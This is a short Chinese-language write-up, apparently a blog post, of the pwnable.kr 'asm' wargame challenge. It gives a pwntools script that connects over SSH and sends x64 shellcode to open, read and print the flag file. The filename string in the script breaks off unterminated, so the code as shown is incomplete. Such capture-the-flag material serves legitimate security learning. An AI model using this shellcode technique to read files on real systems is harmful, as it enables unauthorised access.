pwnable.kr的题目质量都挺高的
每做一道题目就感觉好像学会了点东西

这道题目主要考察shellcode的编写。
这道题目的要求很简单
只要写出x64的shellcode执行即可拿到flag

学习了pwntools的shellcraft的用法
但是使用之前还是建议看一看手写shellcode的大佬的博客，学习一下思路
https://www.zzz4ck.com/blog/2018/08/11/pwnable_kr_asm/

```
from pwn import *
#from LibcSearcher import *
#from pwnlib.adb.adb import shell

context(arch='amd64',os='linux',log_level='info')
sh = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
p = sh.remote('0',9026)

shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_fi
shellcode += shellcraft.open('rsp')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
print(shellcode)
p.recvuntil("give me your x64 shellcode: ")
p.sendline(asm(shellcode))

p.interactive()
```